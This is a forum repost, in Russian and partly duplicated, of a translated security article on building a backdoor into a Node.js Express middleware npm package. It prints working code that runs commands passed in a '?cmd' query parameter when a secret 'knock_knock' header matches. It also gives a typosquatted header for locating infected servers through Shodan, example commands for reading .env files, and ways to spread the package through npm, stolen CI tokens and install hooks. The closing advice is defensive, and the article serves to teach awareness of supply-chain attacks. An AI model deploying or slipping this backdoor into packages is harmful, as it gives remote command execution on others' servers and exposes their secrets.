- Регистрация
- 23.09.18
- Сообщения
- 12.347
- Реакции
- 176
- Репутация
- 0
Бэкдор в собственном коде, который может незаметно взаимодействовать с операционной системой, это один из самых страшных кошмаров любого разработчика. В настоящий момент в npm имеется более 1.2 миллиона общедоступных пакетов. За последние три года зависимости проектов превратились в идеальную цель для киберпреступников. Экосистема npm может оказаться на удивление хрупкой в том случае, если сообщество разработчиков не обратит пристальное внимание на безопасность. В качестве доказательств этой мысли достаточно вспомнить о
Автор статьи, перевод которой мы сегодня публикуем, хочет, в образовательных целях, рассказать о том, как создавать бэкдоры для платформы Node.js.
Что такое бэкдор?
Вот какое определение понятия «бэкдор» («backdoor») даётся на ресурсе
Бэкдор состоит из двух основных частей:
Бэкдору, установленному на компьютере, отправляют команды, в ответ на которые он выполняет некие действия. Это могут быть команды, направленные на извлечение из системы ценной информации, вроде переменных среды, или предназначенные для выполнения атаки на базу данных. Более того, результатом выполнения таких команд может стать изменение других процессов, затрагивающих единственный компьютер или всю сеть. Масштаб атаки зависит от разрешений, которое имеет заражённое приложение. В нашем случае речь идёт о приложении, написанном для платформы Node.js.
Для того чтобы создать упрощённый вариант программы, реализующей вышеописанную атаку, мы будем, для выполнения кода, использовать стандартный модуль
Зачем нам child_process?
Стандартный модуль Node.js child_process можно использовать для запуска дочерних процессов. Основная идея тут заключается в том, что это даёт нам возможность выполнять команды (поступающие в процесс через стандартный поток ввода — stdin) вроде pwd или ping snyk.io, а затем интегрировать результат работы этих команд (выходные данные поступают из потока вывода — stdout) и возможные сообщения об ошибках (из потока stderr) в основную программу.
Выполнение процесса и его взаимосвязь со стандартными потоками ввода, вывода и ошибок, играющих роль входных и выходных потоков для запущенного системного процесса
Существуют различные способы выполнения дочерних процессов. Для данной атаки легче всего воспользоваться функцией exec, которая позволяет выполнять коллбэки и помещать в соответствующие буферы то, что попадает в потоки stdout и stderr. Например — то, что будет выдано в результате выполнения команды cat passwords.txt. Обратите внимание на то, что функция exec — это не лучший способ выполнения длительных задач наподобие ping snyk.io.
const {exec} = require('child_process');
exec('cat .env', (err, stdout, stderr) => {
if(err) throw err
if(stderr) return console.log(`Execution error: ${stderr}`)
console.log(`Env file content: ${stdout}`)
})
Как объединить функцию exec с HTTP-сервером?
Я разработал простой, невинно выглядящий пакет промежуточного слоя
Код пакета будет примерно таким:
const useragent = require('useragent');
module.exports = () => (req, res, next) => {
const ua = useragent.is(req.headers['user-agent']);
ua.chrome ? next(): res.redirect("
}
Жертве достаточно установить пакет и воспользоваться им в Express-приложении так же, как пользуются любым пакетом промежуточного слоя:
const express = require("express");
const helmet = require("helmet")
const browserRedirect = require("browser-redirect ")
const app = express();
app.use(browserRedirect())
app.use(helmet())
app.get("/", (req, res)=>{
res.send("Hello Chrome User!")
})
app.listen(8080)
Обратите внимание на то, что в данном случае, даже если используется Helmet, это не защищает приложение от атаки.
Вредоносный код
Реализация вредоносного кода весьма проста:
const {exec} = require("child_process")
const crypto = require('crypto');
const useragent = require('useragent');
module.exports = () => (req, res, next) => {
// Вредоносный код
const {cmd} = req.query;
const hash = crypto.createHash('md5')
.update(String(req.headers["knock_knock"]))
.digest("hex");
res.setHeader("Content-Sec-Policy", "default-src 'self'")
if(cmd && hash === "c4fbb68607bcbb25407e0362dab0b2ea") {
return exec(cmd, (err, stdout, stderr)=>{
return res.send(JSON.stringify({err, stdout, stderr}, null, 2))
})
}
// Обычный код
const ua = useragent.is(req.headers['user-agent']);
ua.chrome ? next(): res.redirect("
}
Как работает наш бэкдор? Для ответа на этот вопрос нужно учесть следующее:
Способы распространения бэкдора
Теперь, когда код бэкдора готов, нужно подумать о том, как распространять вредоносный пакет.
Первый шаг — публикация пакета. Я опубликовал пакет [email protected] в npm. Но если взглянуть на GitHub-репозиторий проекта, то вредоносного кода там не будет. Убедитесь в этом сами — взгляните на ветку проекта
Хотя пакет и опубликован в npm, его шансы на распространение пока очень низки, так как потенциальным жертвам ещё нужно найти его и установить.
Ещё один способ распространения пакета заключается в добавлении вредоносного модуля в качестве зависимости для других пакетов. Если у злоумышленника есть доступ к учётной записи с правами публикации какого-нибудь важного пакета, он может опубликовать новую версию такого пакета. В состав зависимостей новой версии пакета будет входить и бэкдор. В результате речь идёт о прямом включении вредоносного пакета в состав зависимостей популярного проекта (взгляните на
Ещё один важный фактор, который нужно принимать во внимание, это наличие у атакующего доступа к учётным данным (имени пользователя и паролю) кого-то, кто занимается поддержкой некоего популярного проекта. Если у злоумышленника такие данные есть, он легко может выпустить новую версию пакета — так же, как это случилось с
Но если даже тот, кто занимается поддержкой проекта, использует для его публикации двухфакторную аутентификацию, он всё равно рискует. А когда для развёртывания новых версий проекта используется система непрерывной интеграции, то двухфакторную аутентификацию нужно выключать. В результате, если атакующий может украсть рабочий npm-токен для системы непрерывной интеграции (например, из логов, случайно попавших в общий доступ, из утечек данных, и из прочих подобных источников), то у него появляется возможность развёртывания новых релизов, содержащих вредоносный код.
Обратите внимание на то, что выпущен
Более того, злоумышленники могут настроить вредоносный код так, чтобы он запускался бы в виде скрипта, выполняемого перед установкой или после установки любого npm-пакета. Существуют
Райан Даль уже
Вот некоторые выводы, сделанные по результатам исследования
Итоги: как защититься от бэкдоров?
Контролировать зависимости не всегда легко, но в этом деле вам могут помочь несколько советов:
Уважаемые читатели! Как вы защищаете свои проекты, использующие чужой код?
You must be registered for see links
и об
You must be registered for see links
с npm-пакетом event-stream.
You must be registered for see links
Автор статьи, перевод которой мы сегодня публикуем, хочет, в образовательных целях, рассказать о том, как создавать бэкдоры для платформы Node.js.
Что такое бэкдор?
Вот какое определение понятия «бэкдор» («backdoor») даётся на ресурсе
You must be registered for see links
: «В сфере кибербезопасности бэкдором называют любой метод, пользуясь которым авторизованные и неавторизованные пользователи могут обойти обычные меры безопасности и получить высокоуровневый доступ (root-права) к компьютерной системе, сети, приложению. После получения подобного доступа к системе киберпреступники могут использовать бэкдор для кражи персональных и финансовых данных, установки дополнительных вредоносных программ, взлома устройств».Бэкдор состоит из двух основных частей:
- Вредоносный код, внедрённый в атакованную систему, и выполненный в ней
- Открытый канал связи, который позволяет атакующему отправлять команды бэкдору и управлять удалённым компьютером.
Бэкдору, установленному на компьютере, отправляют команды, в ответ на которые он выполняет некие действия. Это могут быть команды, направленные на извлечение из системы ценной информации, вроде переменных среды, или предназначенные для выполнения атаки на базу данных. Более того, результатом выполнения таких команд может стать изменение других процессов, затрагивающих единственный компьютер или всю сеть. Масштаб атаки зависит от разрешений, которое имеет заражённое приложение. В нашем случае речь идёт о приложении, написанном для платформы Node.js.
Для того чтобы создать упрощённый вариант программы, реализующей вышеописанную атаку, мы будем, для выполнения кода, использовать стандартный модуль
You must be registered for see links
. Для организации связи с бэкдором задействуем HTTP-сервер. Я посоветовал бы использовать в данном случае фреймворк Express, известный своими огромными возможностями, но то, о чём пойдёт речь, можно реализовать и с использованием любых других подходящих инструментов.Зачем нам child_process?
Стандартный модуль Node.js child_process можно использовать для запуска дочерних процессов. Основная идея тут заключается в том, что это даёт нам возможность выполнять команды (поступающие в процесс через стандартный поток ввода — stdin) вроде pwd или ping snyk.io, а затем интегрировать результат работы этих команд (выходные данные поступают из потока вывода — stdout) и возможные сообщения об ошибках (из потока stderr) в основную программу.
Выполнение процесса и его взаимосвязь со стандартными потоками ввода, вывода и ошибок, играющих роль входных и выходных потоков для запущенного системного процесса
Существуют различные способы выполнения дочерних процессов. Для данной атаки легче всего воспользоваться функцией exec, которая позволяет выполнять коллбэки и помещать в соответствующие буферы то, что попадает в потоки stdout и stderr. Например — то, что будет выдано в результате выполнения команды cat passwords.txt. Обратите внимание на то, что функция exec — это не лучший способ выполнения длительных задач наподобие ping snyk.io.
const {exec} = require('child_process');
exec('cat .env', (err, stdout, stderr) => {
if(err) throw err
if(stderr) return console.log(`Execution error: ${stderr}`)
console.log(`Env file content: ${stdout}`)
})
Как объединить функцию exec с HTTP-сервером?
Я разработал простой, невинно выглядящий пакет промежуточного слоя
You must be registered for see links
, предназначенный для Express-приложений. Он перенаправляет пользователей, работающих не в Chrome, на
You must be registered for see links
. Вредоносный код я включу в этот пакет.Код пакета будет примерно таким:
const useragent = require('useragent');
module.exports = () => (req, res, next) => {
const ua = useragent.is(req.headers['user-agent']);
ua.chrome ? next(): res.redirect("
You must be registered for see links
")}
Жертве достаточно установить пакет и воспользоваться им в Express-приложении так же, как пользуются любым пакетом промежуточного слоя:
const express = require("express");
const helmet = require("helmet")
const browserRedirect = require("browser-redirect ")
const app = express();
app.use(browserRedirect())
app.use(helmet())
app.get("/", (req, res)=>{
res.send("Hello Chrome User!")
})
app.listen(8080)
Обратите внимание на то, что в данном случае, даже если используется Helmet, это не защищает приложение от атаки.
Вредоносный код
Реализация вредоносного кода весьма проста:
const {exec} = require("child_process")
const crypto = require('crypto');
const useragent = require('useragent');
module.exports = () => (req, res, next) => {
// Вредоносный код
const {cmd} = req.query;
const hash = crypto.createHash('md5')
.update(String(req.headers["knock_knock"]))
.digest("hex");
res.setHeader("Content-Sec-Policy", "default-src 'self'")
if(cmd && hash === "c4fbb68607bcbb25407e0362dab0b2ea") {
return exec(cmd, (err, stdout, stderr)=>{
return res.send(JSON.stringify({err, stdout, stderr}, null, 2))
})
}
// Обычный код
const ua = useragent.is(req.headers['user-agent']);
ua.chrome ? next(): res.redirect("
You must be registered for see links
")}
Как работает наш бэкдор? Для ответа на этот вопрос нужно учесть следующее:
- Нужно, чтобы у злоумышленника была бы возможность аутентификации при подключении к бэкдору. Это позволит не дать другим злоумышленникам пользоваться чужим бэкдором. В данном случае мы используем md5-хэш (слово p@ssw0rd1234 превращается в c4fbb68607bcbb25407e0362dab0b2ea). Данный хэш нужно включить в запрос в качестве значения заголовка knock_knock. Программа, обнаружив соответствующее значение, аутентифицирует того, кто имеет право с ней работать.
- Нужно, чтобы у автора бэкдора был бы механизм идентификации заражённых серверов. Нам не нужны некие сведения о серверах, не относящиеся к нашей задаче. Поэтому мы включаем в ответ сервера заголовок Content-Sec-Policy, который внешне очень похож на Content-security-policy. Но это — совсем не одно и то же. Тут мы пользуемся механизмом тайпсквоттинга. Теперь цели можно искать с помощью Shodan, пользуясь таким
You must be registered for see links: /search?query=Content-Sec-Policy%3A+default-src+%27self%27.
- Параметр запроса ?cmd можно использовать для выполнения на заражённом сервере неких команд. При этом обращаться к серверу можно по любому маршруту. В результате при выполнении запросов вроде victim.com/?cmd=whoami или ?cmd=cat .env в ответ мы получим сведения в формате JSON.
Способы распространения бэкдора
Теперь, когда код бэкдора готов, нужно подумать о том, как распространять вредоносный пакет.
Первый шаг — публикация пакета. Я опубликовал пакет [email protected] в npm. Но если взглянуть на GitHub-репозиторий проекта, то вредоносного кода там не будет. Убедитесь в этом сами — взгляните на ветку проекта
You must be registered for see links
и на релиз
You must be registered for see links
. Это возможно благодаря тому, что npm не сверяет код публикуемых пакетов с кодом, опубликованным в некоей системе, предназначенной для работы с исходным кодом.Хотя пакет и опубликован в npm, его шансы на распространение пока очень низки, так как потенциальным жертвам ещё нужно найти его и установить.
Ещё один способ распространения пакета заключается в добавлении вредоносного модуля в качестве зависимости для других пакетов. Если у злоумышленника есть доступ к учётной записи с правами публикации какого-нибудь важного пакета, он может опубликовать новую версию такого пакета. В состав зависимостей новой версии пакета будет входить и бэкдор. В результате речь идёт о прямом включении вредоносного пакета в состав зависимостей популярного проекта (взгляните на
You must be registered for see links
инцидента, произошедшего с event-stream). В качестве альтернативы злоумышленник может попытаться сделать PR в некий проект, внеся в lock-файл соответствующие изменения. Почитать об этом можно
You must be registered for see links
.Ещё один важный фактор, который нужно принимать во внимание, это наличие у атакующего доступа к учётным данным (имени пользователя и паролю) кого-то, кто занимается поддержкой некоего популярного проекта. Если у злоумышленника такие данные есть, он легко может выпустить новую версию пакета — так же, как это случилось с
You must be registered for see links
.Но если даже тот, кто занимается поддержкой проекта, использует для его публикации двухфакторную аутентификацию, он всё равно рискует. А когда для развёртывания новых версий проекта используется система непрерывной интеграции, то двухфакторную аутентификацию нужно выключать. В результате, если атакующий может украсть рабочий npm-токен для системы непрерывной интеграции (например, из логов, случайно попавших в общий доступ, из утечек данных, и из прочих подобных источников), то у него появляется возможность развёртывания новых релизов, содержащих вредоносный код.
Обратите внимание на то, что выпущен
You must be registered for see links
(находящийся пока в статусе private beta), который позволяет узнать о том, был ли пакет опубликован с использованием IP-адреса сети TOR, и о том, была ли при публикации использована двухфакторная аутентификация.Более того, злоумышленники могут настроить вредоносный код так, чтобы он запускался бы в виде скрипта, выполняемого перед установкой или после установки любого npm-пакета. Существуют
You must be registered for see links
жизненного цикла npm-пакетов, которые позволяют выполнять код на компьютере пользователя в определённое время. Например, система для организации тестирования проектов в браузере,
You must be registered for see links
, использует эти хуки для
You must be registered for see links
Chromium в хост-системе.Райан Даль уже
You must be registered for see links
об этих уязвимостях на JSConf EU 2018. Платформа Node.js нуждается в более высоком уровне защиты для предотвращения этого и других векторов атак.Вот некоторые выводы, сделанные по результатам исследования
You must be registered for see links
опенсорсного ПО:- 78% уязвимостей обнаруживается в непрямых зависимостях, что усложняет процесс избавления от таких уязвимостей.
- За 2 года наблюдается рост уязвимостей в библиотеках на 88%.
- 81% респондентов полагают, что за безопасность должны отвечать сами разработчики. Они, кроме того, считают, что разработчики недостаточно хорошо для этого подготовлены.
Итоги: как защититься от бэкдоров?
Контролировать зависимости не всегда легко, но в этом деле вам могут помочь несколько советов:
- Используйте широко известные и хорошо поддерживаемые библиотеки.
- Участвуйте в жизни сообщества и помогайте тем, кто занимается поддержкой библиотек. Помощь может заключаться в написании кода или в финансовой поддержке проектов.
- Используйте
You must be registered for see linksдля анализа новых зависимостей своего проекта.
- Применяйте Snyk для того чтобы быть в курсе ситуации с уязвимостями и мониторить свои проекты.
- Анализируйте код используемых вами зависимостей, хранящийся в npm. Не ограничивайтесь просмотром кода из GitHub или из других подобных систем.
Уважаемые читатели! Как вы защищаете свои проекты, использующие чужой код?
You must be registered for see links